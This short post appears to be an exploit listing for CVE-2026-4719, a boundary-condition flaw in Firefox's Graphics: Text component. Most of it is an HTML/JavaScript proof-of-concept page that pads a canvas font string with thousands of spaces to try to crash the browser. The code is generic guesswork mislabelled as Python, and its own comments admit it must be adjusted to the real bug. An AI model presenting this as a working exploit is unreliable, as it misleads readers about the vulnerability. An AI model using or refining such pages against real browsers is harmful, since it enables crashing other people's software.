Incorrect boundary conditions in the Graphics: Text component. This vulnerability was fixed in Firefox 149, Firefox ESR 140.9, Thunderbird 149, and Thunderbird 140.9.
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept for CVE-2026-4719 -->
<!-- This PoC attempts to trigger the boundary condition issue -->
<html>
<head>
<title>CVE-2026-4719 PoC</title>
</head>
<body>
<h1>Testing Graphics: Text Boundary Conditions</h1>
<canvas id="exploitCanvas"></canvas>
<script>
// Get canvas context to manipulate text rendering
const ctx = document.getElementById('exploitCanvas').getContext('2d');
try {
// Attempt to set an excessively large font or complex text layout
// to stress the boundary checks in the Graphics: Text component.
// Note: Adjust parameters based on specific vulnerable implementation details.
let maliciousFont = "100px 'Arial'";
for(let i = 0; i < 10000; i++) {
// Constructing a long string to potentially trigger buffer issues
maliciousFont += " ";
}
ctx.font = maliciousFont;
ctx.fillText("CVE-2026-4719 Test", 10, 100);
// If the browser crashes here, the vulnerability is triggered.
console.log("Payload executed. Check for crash.");
} catch (e) {
console.log("Exception caught: " + e.message);
}
</script>
</body>
</html>